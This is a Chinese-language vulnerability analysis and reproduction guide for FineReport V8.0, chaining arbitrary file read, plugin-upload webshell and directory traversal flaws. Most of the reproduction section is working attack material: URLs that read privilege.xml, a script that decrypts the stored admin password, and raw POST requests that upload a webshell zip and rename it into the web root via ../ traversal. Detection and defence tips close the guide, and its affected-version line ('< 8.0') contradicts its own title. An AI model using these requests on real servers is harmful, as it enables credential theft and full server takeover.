帆软报表 V8.0 组合拳漏洞分析及复现
字数 2048 2025-08-10 08:28:49
帆软报表 V8.0 组合拳漏洞分析与复现指南
漏洞概述
帆软报表 FineReport 8.0 版本存在多个安全漏洞,攻击者可利用这些漏洞组合实现从信息泄露到获取服务器完全控制权限的攻击链。主要包含以下三个漏洞:
- 任意文件读取漏洞 (CNVD-2018-04757)
- 后台插件上传webshell漏洞
- 目录遍历漏洞
影响版本
FineReport < 8.0
漏洞详细分析
1. 任意文件读取漏洞
漏洞位置: WebReport/WEB-INF/lib/fr-platform-8.0.jar
漏洞原理:
- 位于
com.fr.chart.web.ChartGetFileContentAction#actionCMD方法 - 直接对
resourcepath请求参数值进行readResource()资源读取 - 未对
resourcepath参数进行安全校验过滤
关键代码分析:
public void actionCMD(HttpServletRequest var1, HttpServletResponse var2, String var3) throws Exception {
String var4 = CodeUtils.cjkDecode(WebUtils.getHTTPRequestParameter(var1, "resourcepath"));
InputStream var5 = FRContext.getCurrentEnv().readResource(var4);
String var6 = IOUtils.inputStream2String(var5);
var6 = var6.replace('\ufeff', ' ');
WebUtils.printAsString(var2, var6);
}
漏洞利用点:
cjkDecode()方法仅检测参数是否为空或包含CJK编码字符,无其他安全校验readResource()方法直接读取文件,无安全校验
2. 插件上传webshell漏洞
漏洞位置: WebReport/WEB-INF/lib/fr-platform-8.0.jar
漏洞原理:
- 通过插件功能上传的zip文件在安装/更新过程中会自动解压至
/tmp路径 - 解压过程未对zip包内文件进行安全校验,导致jsp文件可被解压至本地
- 结合文件重命名功能可移动文件路径实现getshell
关键功能点:
-
插件本地安装(local_install):
- 路径:
/WebReport/ReportServer?op=plugin&cmd=local_install - 上传文件存储路径:
/cache/temp.zip - 解压路径:
/tmp
- 路径:
-
插件本地更新(local_update):
- 路径:
/WebReport/ReportServer?op=plugin&cmd=local_update - 处理流程与本地安装相同
- 路径:
-
文件重命名(manual_backup):
- 位于
com.fr.fs.web.service.ServerConfigManualBackupAction - 通过
renameTo()进行重命名操作,无安全校验 - 可移动文件到web目录实现webshell访问
- 位于
3. 目录遍历漏洞
漏洞位置: WebReport/lib/fr-designer-core-8.0.jar
漏洞原理:
- 匹配特定HTTP请求参数即可加载目录内容
- 未对
file_path参数进行安全校验 - 只要路径存在且响应码为200,即可返回目录内容
关键参数:
op=fs_remote_design
cmd=design_list_file
file_path=xxxx
currentUserName=xx
currentUserId=1
isWebReport=true
漏洞复现步骤
1. 任意文件读取漏洞复现
- 访问URL获取敏感文件(如privilege.xml):
http://[target]:8080/WebReport/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml
- 查看网页源代码获取加密的账号密码
- 使用解密脚本解密密码:
cipher = '\_\_\_0061002100780060005500e70018' # 替换为实际密文
PASSWORD_MASK_ARRAY = [19, 78, 10, 15, 100, 213, 43, 23] # 掩码
Password = ""
cipher = cipher[3:] # 截断前三位
for i in range(int(len(cipher) / 4)):
c1 = int("0x" + cipher[i * 4:(i + 1) * 4], 16)
c2 = c1 ^ PASSWORD_MASK_ARRAY[i % 8]
Password = Password + chr(c2)
print(Password)
2. 插件上传webshell漏洞复现
方式1: local_install本地安装
- 构造POST请求上传webshell zip包:
POST /WebReport/ReportServer?op=plugin&cmd=local_install HTTP/1.1
Host: [target]:8080
Content-Type: multipart/form-data; boundary=---------------------------43396694042741433502589989449
-----------------------------43396694042741433502589989449
Content-Disposition: form-data; name="install-from-disk"; filename="plugin-com.fr.plugin.reportfit.zip"
Content-Type: application/x-zip-compressed
[webshell zip content]
- 文件将自动解压至
WEB-INF/tmp目录
方式2: local_update本地更新
与方式1类似,使用cmd=local_update参数
文件重命名
- 构造POST请求重命名文件:
POST /WebReport/ReportServer?op=fr_server&cmd=manual_backup HTTP/1.1
Host: [target]:8080
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
optype=edit_backup&oldname=../../../WEB-INF/tmp/[webshell].jsp&newname=../../../[new_name].jsp
- 访问webshell:
http://[target]:8080/WebReport/[new_name].jsp
3. 目录遍历漏洞复现
构造URL访问目标目录:
http://[target]:8080/WebReport/ReportServer?op=fs_remote_design&cmd=design_list_file&file_path=../WebReport/WEB-INF/tmp¤tUserName=admin¤tUserId=1&isWebReport=true
流量侧排查要点
-
正确登录页面识别:
- 部署页面:
http://[target]:8080/WebReport/ReportServer - 真实登录页面:
http://[target]:8080/WebReport/ReportServer?op=fs_load&cmd=fs_signin&_=[timestamp] - 登录POST请求:
http://[target]:8080/WebReport/ReportServer?op=fs_load&cmd=login
- 部署页面:
-
插件自动加载流量:
- 插件管理页面会自动加载
&cmd=war/plugin_url_prefix/init等路径 - 非人工手动加载的插件相关请求可能为攻击行为
- 插件管理页面会自动加载
防御建议
- 升级到最新版本FineReport
- 对文件读取、插件上传和目录访问功能添加严格的安全校验
- 限制插件上传的文件类型和内容
- 监控异常的文件操作请求
- 定期审计系统日志和安全事件
参考链接
- https://baijiahao.baidu.com/s?id=1652854781223869222
- https://baijiahao.baidu.com/s?id=1652903285090947235
- https://mp.weixin.qq.com/s/VBy6tgUCkoYEliOkSeOnRA
- https://mp.weixin.qq.com/s/ae8A8PGJCtr6uS11dRpzcw